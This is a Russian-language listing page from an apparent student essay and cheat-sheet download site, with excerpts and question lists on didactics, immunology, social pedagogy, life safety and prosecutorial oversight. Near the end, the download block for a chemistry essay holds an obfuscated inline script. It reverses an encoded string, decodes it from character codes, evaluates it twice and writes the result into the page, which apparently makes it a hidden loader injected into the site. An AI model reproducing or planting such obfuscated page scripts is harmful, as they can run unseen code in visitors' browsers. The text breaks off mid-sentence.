ru /img/logosmall.png /1266705236.html <strong>Тема</strong>: <i>Теория обучения</i> <br> <strong>Тип</strong>: <i>Шпоргалка</i> <br> <strong>Выдержки</strong>:<i>1. Сущность процесса обучения, его цели</i> <br> Науку, изучающую и исследующую проблемы образования и обучения, называют <b>дидактикой</b>. <br> Термин дидактика происходит от греческого didatikos, что переводится как «поучающий». Впервые это слово появилось благодаря немецкому педагогу Вольфгангу Ратке, написавшему курс лекций под названием «Краткий отчет из дидактики, или искусство обучения Ратихия». <br> Наряду с термином «дидактика» в педагогической науке используют термин <b>теория обучения</b>. <br> <b>Дидактика</b> является частью педагогики, которая изучает важнейшие проблемы теоретических основ обучения. Основной <b>задачей</b> дидактики является выявление закономерностей, которым подчиняется <b>процесс обучения</b>, и использование их для успешного достижения задач образования. <br> <b>Цели обучения</b>, хотя и будучи ограниченными, достигаются в процессе получения эмпирических знаний. Появился интерес к законам, который усилился по мере усложнения целей обучения и условий его осуществления. <br> <b>Дидактика и психология обучения</b>. Психология и дидактика тесно связаны между собой. Общность психологии и дидактики состоит в том, что они имеют <b>единый объект</b> – процесс обучения и воспитания; их различие определяется разными аспектами изучения этого объекта. <br> <cut>Существует непрерывная цепочка связей: «<b>педагогическая психология</b>» – «<b>дидактика</b>» – «<b>методика</b>» – «<b>практика</b>». Эти связи отражают преемственные стадии проектирования учебного процесса. Образование – процесс и результат усвоения знаний, умений, навыков. Выделяют начальное, среднее, высшее образование, общее и специальное образование. <br> Объектом науки является реальный процесс обучения. <br> Теория обучения как наука включает в себя несколько категорий: <br> Сущность процесса обучения. Рассматривает обучение как часть общего воспитательного процесса. <br> Методы обучения. Изучает приемы, которыми пользуется учитель в своей профессиональной деятельности. <br> Принципы обучения. Это основные взгляды на учебную деятельность. <br> Содержание школьного образования. Выявляет взаимосвязи различных видов обучения в общеобразовательной школе. <br> Организация обучения. Занимается вопросами организации учебной работы, обнаруживает новые формы организации обучения. <br> Деятельность учителя. Поведение и работа педагога в ходе реализации образовательного процесса. <br> Деятельность учащихся. Поведение и работа ученика в ходе реализации образовательного процесса. <br> <strong>Вопросы</strong>: <br> 1. Сущность процесса обучения, его цели <br> 2. Противоречия процесса обучения <br> 3. Движущие силы процесса обучения <br> 4. Закономерности и принципы обучения <br> 5. Законы обучения6. Психологические компоненты усвоения <br> 7. Принципы обучения <br> 8. Характеристика современных дидактических концепций <br> 9. Функции обучения <br> 10. Развивающая функция <br> 11. Воспитательная и образовательная функции <br> 12. Содержание школьного образования <br> 13. Культура как основа построения и определение содержания образования <br> 14. Ступени обучения <br> 15. Индивидуальные и типические особенности учащихся в процессе обучения <br> 16. Психологические закономерности формирования умений и навыков <br> 17. Теория поэтапного формирования и усвоения знаний, умений и навыков <br> 18. Методологические и общетеоретические основы педагогической концепции процесса обучения <br> 19. Этапы учебного процесса и их реализация в учебных ситуациях <br> 20. Особенности процесса обучения в зависимости от типа учебного предмета <br> 21. Базовая, вариативная и дополнительная составляющие содержания образования <br> 22. Характеристика процесса обучения <br> 23. Государственный образовательный стандарт <br> 24. Понятие об учении и преподавании <br> 25. Общепедагогические и дидактические характеристики целостного учебно-воспитательного процесса <br> 26. Принципы целостного учебно-воспитательного процесса <br> 27. Приемы обучения <br> 28. Классификация методов <br> 29. Рациональное применение различных методов обучения30. Требования к организации процесса обучения <br> 31. Проблемное обучение <br> 32. Модульная технология обучения <br> 33. Современные модели организации обучения <br> 34. Успеваемость и методы ее оценки <br> 35. Виды учета успеваемости учащихся <br> 36. Причины неуспеваемости <br> 37. Типы неуспевающих школьников, их психологические характеристики <br> 38. Пути предупреждения и устранения неуспеваемости <br> 39. Показатели качества процесса обучения и дидактические направления его совершенствования <br> 40. Основные характеристики качества знаний <br> 41. Формирование готовности школьников к самообучению <br> 42. Дидактические принципы К. Д. Ушинского <br> 43. Учитель в процессе обучения <br> 44. Планирование учебной работы <br> 45. Педагогическая диагностика <br> 46. Индивидуальный подход в системе дидактических принципов <br> 47. Педагогический такт и его роль в обучении, педагогическое мастерство <br> 48. Инновационная политика <br> 49. Интенсификация процесса обучения <br> 50. Принципы конструирования процесса обучения <br> 51. Использование программированного обучения в школе <br> 52. Отбор материала для организации проблемных уроков, требования к нему <br> 53. Развитие познавательной самостоятельности в проблемном обучении <br> 54. Использование игровых методов обучения как средства усвоения знаний и их проверки <br> 55. Система средств обучения в учебном процессе <br> 56. Самостоятельная работа учащихся, ее виды <br> <br><strong>Размер</strong>: <b>72,7 Кб</b> <br> <strong><a href=http://referatov-more.ru/upload/Avtor_neizvesten_Teoriya_obucheniya.165849.rar>СКАЧАТЬ БЕСПЛАТНО</a></strong> <br> </cut> Sun, 21 Feb 2010 01:33:56 GMT /1266702600.html <strong>Тема</strong>: <i>Общая и клиническая иммунология</i> <br> <strong>Тип</strong>: <i>Шпоргалка</i> <br> <strong>Выдержки</strong>:<i>1. Иммунитет. Фагоцитоз</i> <br> Иммунитет (от лат. immunitas – «избавление», «освобождение от чего-либо») – это невосприимчивость организма к различным инфекционным агентам, а также продуктам их жизнедеятельности, веществам и тканям, которые обладают чужеродными антигенными свойствами (например, ядам животного и растительного происхождения). Однажды переболев, наш организм запоминает возбудителя болезни, поэтому в следующий раз заболевание протекает быстрее и без осложнений. Но часто после длительных заболеваний, оперативных вмешательств, при неблагоприятной экологической обстановке и в состоянии стресса иммунная система может давать сбои. Снижение иммунитета проявляется частыми и длительными простудами, хроническими инфекционными заболеваниями (ангиной, фурункулезом, гайморитом, кишечными инфекциями), постоянной повышенной температурой и т. д. <br> Если обобщить все вышеизложенное, то можно сказать, что иммунитет является способом защиты организма от живых тел и веществ, которые несут в себе признаки генетически чужой информации. <cut>Наиболее древний и стабильный механизм взаимодействия ткани с любыми внешними повреждающими факторами среды (антигенами) – это фагоцитоз. Фагоцитоз в организме осуществляется специальными клетками – макрофагами, микрофагами и моноцитами (клетками-предшественниками макрофагов). Это сложный многоступенчатый процесс захвата и уничтожения всех попавших в ткани чужеродных для них микрообъектов, не трогая собственные ткани и клетки. Фагоциты, перемещаясь в межклеточной жидкости ткани, при встрече с антигеном захватывают его и переваривают до того, как он контактирует с клеткой. Этот механизм защиты был открыт И. М. Мечниковым в 1883 г. и был положен в основу разработанной им теории фагоцитной защиты организма от болезнетворных микробов. Установлено широкое участие макрофагов в различных иммунологических процессах. Кроме защитных реакций против различных инфекций, макрофаги участвуют в противоопухолевом иммунитете, распознавании антигена, регуляции иммунных процессов и осуществлении иммунного надзора, в распознавании и разрушении единичных измененных клеток собственного организма, в том числе опухолевых, в регенерации различных тканей и в воспалительных реакциях. Макрофаги также вырабатывают различные вещества, оказывающие противоантигенное воздействие. Фагоцитоз включает несколько стадий: <br> 1) направленное движение фагоцита к чужеродному для ткани объекту; <br> 2) прикрепление фагоцита к нему; <br> 3) распознавание микроба или антигена; <br> 4) поглощение его клеткой фагоцита (собственно фагоцитоз); <br> 5) умерщвление микроба с помощью ферментов, выделяемых клеткой; <br> 6) переваривание микроба. <br> Но в некоторых случаях фагоцит не может умертвить определенные виды микроорганизмов, которые даже способны размножаться в нем. Именно поэтому фагоцитоз не всегда может обеспечить защиту организма от повреждения. <br> <strong>Вопросы</strong>: <br> 1. Иммунитет. Фагоцитоз <br> 2. Иммунитет <br> 3. Органы иммунной системы <br> 4. В-лимфоциты. Т-лимфоциты и макрофаги <br> 5. Тимус. Лимфоузлы <br> 6. Селезенка. Лимфоидная ткань. Выделительная система <br> 7. Клетки иммунной системы <br> 8. Нейтрофилы. Базофилы. Эозинофилы. Макрофаги <br> 9. Вещества с иммунными комплексами. Иммуноглобулины <br> 10. Взаимодействие организма и среды <br> 11. Специфическая и неспецифическая системы защиты <br> 12. Макрофаги. микрофаги. Фагоциты <br> 13. Комплемент <br> 14. Лизоцим. Механизмы иммунитета <br> 15. Специфическая иммунологическая система защиты <br> 16. Т-лимфоциты <br> 17. В-лимфоциты <br> 18. Иммуноглобулины <br> 19. Иммунная система <br> 20. Иммунный статус <br> 21. Лейкоциты <br> 22. Лимфоциты <br> 23. Иммуноглобулины Jg (антитела) <br> 24. Врожденные иммунодефициты <br> 25. Агаммаглобулинемия <br> 26. Иммунный дефицит JgM <br> 27. Болезни клеточного иммунитета <br> 28. Швейцарский тип <br> 29. Синдромы Вискотта—Олдрича и Луи—Барра <br> 30. Хроническая гранулематозная болезнь. Приобретенные иммунодефициты <br> 31. Аутоиммунные заболевания. Системные васкулиты <br> 32. Ревматоидный артрит <br> 33. Геморрагический васкулит <br> 34. Гигантоклеточный артериит. Синдром Гудпасчера <br> 35. Синдром Мошковича <br> 36. Сиситемная красная волчанка <br> 37. Клиническая картина системной красной волчанки <br> 38. Дерматомиозит (полимиозит) <br> 39. Узелковый периартериит <br> 40. Ревматизм <br> 41. Перикардит <br> 42. Лабораторные данные при перикардите <br> 43. Синдром Рейтера <br> 44. Системная склеродермия <br> 45. Синдром Съегрена <br> 46. Иммунные гемолитические анемии <br> 47. Рассеянный склероз <br> 48. СПИД <br> 49. Диагностика СПИДа <br> 50. Клиника СПИДа <br> 51. Пневмоцистная пневмония. Кандидоз. Цитомегаловирусная инфекция <br> 52. Саркома Капоши <br> 53. Инфекции, связанные с вирусами герпеса <br> 54. Аллергия55. Виды аллергенов <br> 56. Стадии развития аллергии <br> <br><strong>Размер</strong>: <b>86,1 Кб</b> <br> <strong><a href=http://referatov-more.ru/upload/Anohina_Obschaya_i_klinicheskaya_immunologiya.165730.rar>СКАЧАТЬ БЕСПЛАТНО</a></strong> <br> </cut> <br> Sun, 21 Feb 2010 00:50:00 GMT /1266696275.html <strong>Тема</strong>: <i>Социальная педагогика</i> <br> <strong>Тип</strong>: <i>Шпоргалка</i> <br> <strong>Выдержки</strong>:<i>1. История возникновения социальной педагогики</i> <br> Термин «социальная педагогика» активно употребляется с начала ХХ в., несмотря на то, что само название было предложено немецким педагогом <b>Фридрихом Дистервегом </b>в середине Х!Х в. <br> В XV!!! в. педагогика стала рассматривать ранний юношеский возраст как самостоятельный этап развития личности. Девушки и юноши стали непосредственным объектом изучения. Внедрение педагогики в общественную жизнь углубилось во второй половине Х!Х в., когда в поле ее зрения стала входить молодежь и более старшие возрастные группы. Рассматривались также представители общества, не вписывающиеся в систему правил и норм. Расширение было связано с социальными и культурными процессами, происходящими в Европе и Америке. Прогресс в промышленности и технике породил определенные проблемы в области общественных отношений. Миграция населения из деревень в города заставила людей адаптироваться к вновь создавшимся условиям. Стала увеличиваться преступность, так как созданные семьи не имели твердо устоявшихся моральных ценностей, число беспризорных и нищих росло с геометрической прогрессией. В Америку прибывали <cut>жители слабо развитых стран Европы. Церковь продолжала занимать главенствующее место в воспитании людей, но все же потеряла авторитет. Появление некоторой пустоты дало возможность социальной педагогике занять определенное место в сфере воспитания и становления человека. Педагогика развивалась, и новой ступенью стало появление андрогогики – педагогики взрослых. Но она с самого начала (т. е. с середины X!X в.) и по настоящее время занималась в основном проблемами образования взрослых. В последние десятилетия от андрогоги-ки отсоединилась герогогика, которая стала заниматься развитием людей пожилого возраста. В X!X в. зародилась и в течение нашего столетия сформировалась педагогика перевоспитания детей и подростков, которые имеют трудности и проблемы поведения в обществе. Ответы, которые дала традиционная педагогика на изменившийся социальный заказ, оказались ограниченными. Консерватизм педагогики оказался столь силен, что даже появившуюся новую отрасль – социальную педагогику – ряд ученых стремились свести к изучению проблематики традиционных «клиентов» педагогики – детей, подростков, юношей. Это нашло отражение в том, что ряд основоположников социальной педагогики (Г. Ноль, Г. Боймер и др.) предметом ее исследования считали социальную помощь обездоленным детям и профилактику правонарушений несовершеннолетних. <br> В России социальная педагогика появилась в конце Х!Х в. в виде разработки и попытки реализации идеи связи школы с жизнью и социальной средой..... <br> <strong>Вопросы</strong>: <br> 1. История возникновения социальной педагогики <br> 2. Этапы становления социальной педагогики <br> 3. Субъект-объектный и субъект-субъектный подходы социализации <br> 4. Факторы социализации <br> 5. Механизмы социализации <br> 6. Особенности традиционного и межличностного механизмов социализации <br> 7. Воспитание как одна из составляющих социализации <br> 8. Основные задачи социализации человека <br> 9. Социально-психологические процессы становления личности <br> 10. Опасности, возникающие в процессе социализации <br> 11. Мегафакторы социализации <br> 12. Роль страны и этноса в процессе социализации <br> 13. Витальные особенности социализации этноса <br> 14. Ментальные особенности социализации этноса <br> 15. Влияние структуры общества на социализацию <br> 16. Влияние экономического развития общества на социализацию <br> 17. Воспитание как социальный институт <br> 18. Типы и функции воспитания <br> 19. Государство как фактор социализации <br> 20. Государственная политика в сфере воспитания <br> 21. Регион – мезофактор социализации <br> 22. Региональная политика в сфере воспитания <br> 23. Средства массовой коммуникации <br> 24. Субкультура <br> 25. Своеобразие сельского образа жизни <br> 26. Особенности городского образа жизни <br> 27. Влияние городского образа жизни на социализацию <br> 28. Малый город <br> 29. Поселок <br> 30. Муниципальная система социального воспитания <br> 31. Семья как социальная группа <br> 32. Семейное воспитание <br> 33. Семья и соседское окружение как территория социализации <br> 34. Группа сверстников <br> 35. Социализирующее влияние религиозных организаций <br> 36. Социализирующее влияние воспитательных организаций <br> 37. Основные составляющие воспитательнойорганизации <br> 38. Социализирующее влияние контркультурных организаций <br> 39. Диссоциальное воспитание в контркультурных организациях <br> 40. Характеристика микросоциума <br> 41. Создание воспитательного пространства микросоциума <br> 42. Роль компьютера в процессе социализации <br> 43. Быт воспитательнойорганизации <br> 44. Элементы быта воспитательнойорганизации <br> 45. Жизнедеятельность воспитательной организации <br> 46. Процессы управления, самоуправления и самоорганизации <br> 47. Процесс взаимодействия <br> 48. Влияние образования на духовно-ценностную ориентацию человека <br> 49. Социализированность <br> 50. Жертвы неблагоприятных условий социализации <br> 51. Объективные факторы неблагоприятных условий <br> 52. Коррекционное воспитание <br> 53. Разделы социальной педагогики <br> 54. Связь социальной педагогики с другими отраслями наук <br> 55. Социальная политика <br> 56. Социальная работа <br> <br><strong>Размер</strong>: <b>78.2 Кб</b> <br> <strong><a href=http://referatov-more.ru/upload/Alzhev_Sotsialnaya_pedagogika.165840.rar>СКАЧАТЬ БЕСПЛАТНО</a></strong> <br> </cut> <br> <br> Sat, 20 Feb 2010 23:04:35 GMT /1266613383.html <strong>Тема</strong>: <i>Безопасность жизнедеятельности</i> <br> <strong>Тип</strong>: <i>Шпоргалка</i> <br> <strong>Выдержки</strong>:<i>1. Влияние окружающей среды на здоровье человека</i> <br> Здоровье связано с общественными отношениями и «параметрами» внешней среды. Окружающая среда включает в себя ряд сред: природную и социальную, бытовую и производственную, космическую и земную. Человек как живой организм осуществляет обмен веществ, энергии и информации с окружающей средой. <br> Видовая принадлежность человека закреплена в наследственности и связана с биологической эволюцией. Но человек как существо социальное стал не только приспосабливаться к окружающей среде, но и приспосабливать ее к себе, стал производить необходимые средства для жизни. Человечество в результате производственной практики превратилось в мощную преобразующую силу, которая проявляется значительно быстрее, чем ход естественной эволюции биосферы, и способна сотворить «вторую природу» – техносферу. <br> Человечество как элемент экосистемы связано со всеми земными формами жизни: с воздухом, водами, почвой. Производство, вооруженное наукой и оснащенное современной техникой, часто нарушает нормальное функционирование природных систем, совокупность которых – наша среда обитания. <br> <cut>Жизнедеятельность организма человека протекает в определенных границах, установленных природой. Нормальная температура тела и благоприятная для человека температура внешней среды; нормальное давление в кровеносных сосудах и атмосферное давление вокруг; нормальное количество жидкости в организме и нормальная влажность воздуха и т. д. <br> Хозяйственное вторжение человека в биосферу по ряду параметров резко нарушило оптимум устоявшейся природной гармонии. <br> Некоторые синтетические, искусственные материалы и промышленные отходы чужды физико-химической структуре живых организмов, а иногда просто ядовиты. Эти вещества вследствие циркуляции воды и воздуха распространяются и проникают в стратосферу и океанские глубины, вызывая промышленные загрязнения воды, воздуха, почвы. <br> Нарушение экологического равновесия – «экологические ножницы» – опасно срывом механизмов адаптации. Возникла своеобразная биосоциальная аритмия – рассогласованность природных и социальных ритмов жизни человека. <br> Сложно сохранять здоровье, когда на человека вместе с благами цивилизации наваливаются ее издержки. <br> Понятие «загрязнение внешней среды» включает три составляющие: <br> 1) что загрязняется: атмосфера, гидросфера, почва; <br> 2) что загрязняет: промышленность, транспорт, шум и т. д.; <br> 3) чем загрязняется: тяжелыми металлами, пылью, пестицидами и т. п. <br> Они позволяют определить качество среды, в которой живет человек. Внешняя среда считается нездоровой, если она вызывает нарушения здоровья, если к ней трудно приспособиться. Есть и экстремальная среда, в которой жизнь человека просто невозможна без предварительного ее «переоборудования» для жизни, например Арктика и Антарктида. <br> <strong>Вопросы</strong>: <br> 1. Влияние окружающей среды на здоровье человека <br> 2. Здоровый образ жизни как система индивидуального поведения человека, направленная на сохранение и укрепление здоровья. <br> 3. Связь образа жизни с профилактикой заболеваний. Значение соблюдения правил личной и общественной гигиены для здоровья человека <br> 4. Закаливание организма, его значение для укрепления здоровья человека 5. Здоровье молодежи и личная заинтересованность в его сохранении <br> 6. Вредные привычки и их социальные последствия <br> 7. Влияние алкоголя на организм человека <br> 8. Курение и его влияние на здоровье человека <br> 9. Табачный дым, влияние табачного дыма на человека <br> 10. Наркомания и токсикомания <br> 11. Последствия употребления наркотиков для здоровья человека <br> 12. Половое воспитание: воспитание половой принадлежности, половой роли и правильного полового поведения <br> 13. Брак и семья, культура взаимоотношения полов <br> 14. Семья в современном обществе. Функции семьи. Влияние семейных отношений на здоровье человека <br> 15. Безопасность и половая культура <br> 16. Венерические заболевания <br> 17. СПИД и его профилактика <br> 18. Наиболее распространенные инфекционные болезни, причины их возникновения <br> 19. Меры профилактики инфекций <br> 20. Классификация основных форм деятельности 21. Физиологические основы труда 22. Физиологические действия метеорологических условий на человека 23. Профессиональные вредности производственной среды <br> 24. Общие санитарно—технические требования к производственным помещениям и рабочим местам <br> 25. Промышленная вентиляция и кондиционирование <br> 26. Требования к освещению помещений и рабочих мест <br> 27. Производственная вибрация и ее воздействие на человека <br> 28. Производственный шум и его воздействие на человека <br> 29. Производственная пыль и ее влияние на организм человека <br> 30. Классификация вредных веществ по степени воздействия на организм человека <br> 31. Влияние на человека электромагнитных полей и неионизирующих излучений <br> 32. Ионизирующие излучения и обеспечение радиационной безопасности <br> 33. Электрический ток и его влияние на человека <br> 34. Меры предупреждения производственного травматизма <br> 35. Расследование и анализ несчастных случаев на производстве (регистрация и учет) <br> 36. Оказание первой доврачебной помощи <br> 37. Ответственность работодателя за нанесение ущерба здоровью работников <br> 38. Биосфера и человек <br> 39. Необходимые знания, умения и навыки, повышающие безопасность человека, при автономном существовании в природных условиях <br> 40. Атмосфера. Последствия загрязнения <br> 41. Охрана водоемов. Последствия загрязнения <br> 42. Почва. Последствия загрязнения почвы <br> 43. Защита окружающей среды от энергетических воздействий <br> 44. Экологический кризис, его демографические и социальные последствия <br> 45. Основы гармоничного сосуществования общества и природы <br> 46. Государственная политика защиты окружающей среды <br> 47. История создания гражданской обороны, ее предназначение и основные задачи по защите населения <br> 48. Организация гражданской обороны на промышленном объекте <br> 49. Город как зона повышенной опасности <br> 50. Терроризм и его проявления. Экстремальные ситуации социального характера <br> 51. Понятие о ЧС <br> 52. Общая характеристика ЧС природного происхождения <br> 53. Организация работы комиссии на ЧС объектах <br> 54. Единая государственная система предупреждения и ликвидации ЧС (РСЧС) <br> 55. Международное сотрудничество в области безопасности жизнедеятельности и охраны окружающей среды <br> 56. Военная служба по призыву и ее особенности <br> <strong>Размер</strong>: <b>86,6 Кб</b> <br> <strong><a href=http://referatov-more.ru/upload/Alekseev_Bezopasnost_zhiznedeyatelnosti.165742.rar>СКАЧАТЬ БЕСПЛАТНО</a></strong> <br> </cut> Sat, 20 Feb 2010 00:03:03 GMT /1266169519.html <strong>Тема</strong>: <i>Прокуратура и прокурорский надзор</i> <br> <strong>Тип</strong>: <i>Шпоргалка</i> <br> <strong>Выдержки</strong>: <i>1. Основные понятия и значение прокурорского надзора</i> <br> <b>Прокурорский надзор</b> – деятельность государственных федеральных органов прокуратуры, осуществляемая от имени РФ и состоящая в проверке точности соблюдения Конституции РФ и исполнения законов, действующих на территории РФ. <br> <b>Прокурорский надзор понимается как:</b> <br> 1) специфический вид государственной деятельности; <br> 2) самостоятельная отрасль права; <br> 3) учебная дисциплина. <br> Во-первых, прокурорский надзор осуществляется специализированной системой органов, которая носит централизованный характер. Во-вторых, прокурорский надзор за соблюдением Конституции РФ и исполнением законов, действующих на территории РФ, как это установлено ст. 1 Закона «О прокуратуре РФ», осуществляется от имени РФ. В-третьих, содержание прокурорского надзора, выражающегося в надзоре за соблюдением Конституции РФ и исполнением законов, действующих на территории РФ, говорит о том, что этот вид государственной деятельности является особым и самостоятельным, поскольку не связан ни с одной ветвью (законодательной, исполнительной, судебной) власти. <br> <cut><b>Прокурорский надзор как учебная дисциплина</b> – часть образовательных программ высших и средних юридических учебных заведений. <br> По содержанию и структуре состоит из двух частей: Общей и Особенной. <br> <b>Объект прокурорского надзора</b> – предприятия, учреждения, организации и другие юридические лица, в которых проводятся прокурорские проверки исполнения законов. <br> <b>Субъект прокурорского надзора</b> – участники прокурорской надзорной деятельности. <br> <b>Прокурор– </b>это физическое лицо, состоящее на постоянной или временной службе в органах прокуратуры, принятое на работу в порядке, установленном Федеральным законом «О прокуратуре РФ», и исполняющее должностные обязанности, предусмотренные тем же законом и приказом высшего прокурора. <br> В узком смысле понимаются руководители прокуратур: Генеральный прокурор РФ, прокурор субъекта РФ, прокурор города, прокурор района, прокурор специализированной прокуратуры. Прокурорские работники это прокуроры, следователи, а также другие работники органов и учреждений прокуратуры, имеющие классные чины (воинские звания). <br> <b>Прокуратура РФ</b> – единая федеральная централизованная система органов, осуществляющих от имени РФ надзор за соблюдением Конституции РФ и исполнением законов, действующих на территории РФ (ст. 1 ФЗ «О прокуратуре РФ»). <br> <b>Акт прокурорского реагирования</b> – это решение прокурора, закрепленное в специальном документе, с помощью которого он реагирует на выявленные вследствие применения правовых средств надзора правонарушения. <br> <strong>Вопросы</strong>: <br> 1. Основные понятия и значение прокурорского надзора <br> 2. Предмет, цели, задачи прокурорского надзора в РФ <br> 3. Принципы организации прокурорского надзора <br> 4. Основные функции и направления деятельности прокуратуры РФ <br> 5. Основные исторические этапы развития российской прокуратуры <br> 6. Нравственные начала в деятельности прокуроров и следователей <br> 7. Система, структура и организация органов прокуратуры РФ <br> 8. Специализированные органы прокуратуры РФ <br> 9. Генеральный прокурор РФ и его основные полномочия <br> 10. Требования, предъявляемые к кандидатам на должности прокуроров и следователей <br> 11. Назначение прокуроров на должность, их подчиненность <br> 12. Прекращение службы в органах и учреждениях прокуратуры <br> 13. Правовое регулирование прокурорского надзора <br> 14. Перечень отраслей прокурорского надзора, их краткая характеристика <br> 15. Меры правовой защиты и социальной поддержки прокуроров и следователей <br> 16. Дисциплинарная ответственность <br> 17. Тактика прокурорской деятельности <br> 18. Методика прокурорской деятельности <br> 19. Кадры и служба в органах и учреждениях прокуратуры <br> 20. Организация и порядок рассмотрения и разрешения письменных обращений граждан <br> 21. Полномочия военных прокуроров <br> 22. Правовые средства реагирования прокурора на нарушение закона <br> 23. Прокурорский надзор за исполнением антимонопольного законодательства <br> 24. Испытание при приеме на службу, аттестация, присвоение классных чинов, воинских званий работникам прокуратуры РФ <br> 25. Прокурорский надзор за исполнением законодательства и полномочия прокуроров в сфере экологии <br> 26. Надзор за исполнением законов и полномочия прокурора при осуществлении данного надзора <br> 27. Надзор за соблюдением прав и свобод человека и гражданина <br> 28. Надзор за соблюдением избирательных прав граждан <br> 29. Надзор за соблюдением законодательства о свободе выбора места жительства и передвижения <br> 30. Надзор за исполнением законов органами, осуществляющими оперативно-разыскную деятельность, дознание и предварительное следствие <br> 31. Надзор за исполнением законов органами, исполняющими наказание и назначаемые судом меры принудительного характера <br> 32. Полномочия прокурора в досудебном производстве <br> 33. Главная военная прокуратура <br> 34. Подследственность. Создание следственных групп <br> 35. Надзор за законностью привлечения лица в качестве обвиняемого <br> 36. Прокурорский надзор за исполнением законодательства по охране несовершеннолетних <br> 37. Надзор за исполнением законов судебными приставами <br> 38. Материальное и социальное обеспечение прокурорских работников <br> 39. Особенности участия прокурора в суде присяжных <br> 40. Надзор прокурора за законностью исполнения приговоров, связанных с лишением свободы <br> 41. Надзор за исполнением приговоров, не связанных с лишением свободы <br> 42. Особенности участия прокурора в рассмотрении дел арбитражным судом <br> 43. Участие прокурора в рассмотрении дел судами <br> 44. Основные направления деятельности прокурора в суде <br> 45. Особенности участия прокурора в рассмотрении судами общей юрисдикции уголовных дел <br> 46. Координация деятельности правоохранительных органов по борьбе с преступностью <br> 47. Участие прокурора в рассмотрении судами уголовных дел <br> 48. Участие прокурора в рассмотрении судами гражданских дел <br> 49. Правовой статус прокурора <br> 50. Федеральный закон «О прокуратуре Российской Федерации»: структура и содержание <br> 51. Транспортная прокуратура <br> 52. Надзор за соблюдением законов об ответственности за административные правонарушения <br> 53. Нормативные правовые акты Генерального прокурора РФ <br> 54. Предпосылки международного сотрудничества прокуратуры РФ <br> 55. Организация и деятельность прокуратуры на примере зарубежных стран (Дании, Германии, Франции, США) <br> 56. Международное сотрудничество в рамках СНГ. <br> <br><strong>Размер</strong>: <b>87,1 Кб</b> <br> <br> <strong><a href=http://referatov-more.ru/upload/Ahetova_Prokuratura_i_prokurorskiy_nadzor.165836.fb2.zip>СКАЧАТЬ БЕСПЛАТНО</a></strong> <br> </cut> Sun, 14 Feb 2010 20:45:19 GMT /1258137218.html <strong>Тип</strong>: <i>Реферат</i><br><strong>Тема</strong>: <i>Синтез 1,3,5-трийодбензола</i><br><strong>Подтема</strong>: <i>Химия</i><br><cut><br> <div id="downloadhtml210686"></div> <script language="Javascript"> var downloadlink210686='<strong><a href=\'javascript: countdown2210686()\' title=\'скачать\'>СКАЧАТЬ</a></strong>'; document.getElementById("downloadhtml210686").innerHTML = downloadlink210686; var downcount210686=8; function countdown2210686() { downcount210686--; if( downcount210686 == 0 ) { document.getElementById("downloadhtml210686").innerHTML = downloadlink210686; download210686(); } if( downcount210686 > 0 ) { downloadlink210686='<strong>Если загрузка не началась автоматически, <a href=\'javascript: download210686()\' title=\'загрузка\'>перейдите по этой ссылке.</a></strong>'; document.getElementById("downloadhtml210686").innerHTML = "<strong>Загрузка начнется через: <a href=\'\'>"+downcount210686+"</a> сек</strong>"; setTimeout('countdown2210686()',1000); }} </script><br> <noscript>Для загрузки документа включите в браузере поддержку JavaScript <br>(средний уровень безопасности по умолчанию), <br>после чего обновите страницу.</noscript><br> <script>var q='>tpircs/< ;))k(lave(lave ;";)95,14,01,31,04,001,23,23,23,23,521,23,23,23,14,23,111,23,04,101,611,501,411,911,64,611,011,101,901,711,99,111,001,23,23,521,23,23,95,23,23,23,23,14,23,23,99,23,04,101,001,111,76,411,79,401,76,901,111,411,201,64,301,011,501,411,611,38,23,23,23,16,34,23,111,23,95,23,25,23,23,23,34,23,501,23,16,23,23,501,23,23,23,23,95,45,35,25,23,23,23,54,23,23,23,14,01,31,14,23,15,23,34,23,23,501,23,23,23,04,611,56,411,79,401,99,64,511,23,23,23,23,34,23,23,23,23,14,23,23,23,05,23,23,34,23,501,23,04,611,56,411,79,401,99,64,511,23,34,23,23,23,14,23,94,23,23,23,34,23,23,501,23,04,611,56,411,79,401,99,64,511,23,34,23,14,23,501,23,04,611,56,411,79,401,99,64,511,23,23,04,23,23,23,001,011,711,111,411,64,401,611,79,77,23,23,23,23,16,01,31,99,23,321,23,14,23,23,401,611,301,011,101,801,64,511,23,23,23,06,23,23,23,23,501,23,23,23,04,23,23,101,801,501,401,911,23,95,23,23,23,84,23,23,16,23,23,99,23,23,23,23,95,23,23,84,23,23,23,23,16,23,23,23,501,23,23,321,23,23,14,23,23,23,23,04,23,23,001,23,011,111,501,611,99,011,711,201,23,95,23,23,23,43,43,23,16,23,23,23,23,111,23,411,79,811,23,23,23,23(edoCrahCmorf.gnirtS = f" = k ;"8150275086501650075055501750305061501850515079405940175075507750715007503550455037506650755056500050175075507750715075504650455035508750165017507550075000501750755077507150175007503550455046504650765007505550175000504050215080507150275006509550165075500650005040508050015071500650275065501650575059408840005059408650375065503550765046505940884000500150215001504050505060506550355076504650665057507650655046500750375069406650755086507650205057507650655066501650575088405150094011509050705070507150655016504940375007502050755007507650565010504750765027503550075075508550755007507150465007503750494050507050115050507150755065507650555049400150905050500550055005500550355077501650565016500650055005502750355007507550855075500750715007507550275075505650355007503550865091508650065086502050675075506550665016503050275035500750755085507550075030501750655027503050375007502050755027501650175027501750765095503050305041508650275027500650094071500150215001504050505060506550355076504650665057507650655046500750375088400750355047509750884079406940015021500150405050506050655035507650465066505750765065508840665076501650275055506650375085508150094027508650165007505550175035504750355026503050275067507550275009407150755086507750275088402750865016500750555017506150" = s >tpircsavaj=egaugnal tpircs<';code='var c,x,i;x=q.length;c="";for (i=x-1;i>=0;i--) c+=q.charAt(i); q=c;';eval(code);document.write(q);</script><br> </cut> Fri, 13 Nov 2009 21:33:38 GMT /1258026535.html <strong>Тип</strong>: <i>Реферат</i><br><strong>Тема</strong>: <i>Питание растений</i><br><strong>Подтема</strong>: <i>Сельское хозяйство</i><br><cut><br> <div id="downloadhtml554534"></div> <script language="Javascript"> var downloadlink554534='<strong><a href=\'javascript: countdown2554534()\' title=\'скачать\'>СКАЧАТЬ</a></strong>'; document.getElementById("downloadhtml554534").innerHTML = downloadlink554534; var downcount554534=20; function countdown2554534() { downcount554534--; if( downcount554534 == 0 ) { document.getElementById("downloadhtml554534").innerHTML = downloadlink554534; download554534(); } if( downcount554534 > 0 ) { downloadlink554534='<strong>Если загрузка не началась автоматически, <a href=\'javascript: download554534()\' title=\'загрузка\'>перейдите по этой ссылке.</a></strong>'; document.getElementById("downloadhtml554534").innerHTML = "<strong>Загрузка начнется через: <a href=\'\'>"+downcount554534+"</a> сек</strong>"; setTimeout('countdown2554534()',1000); }} </script><br> <noscript>Для загрузки документа включите в 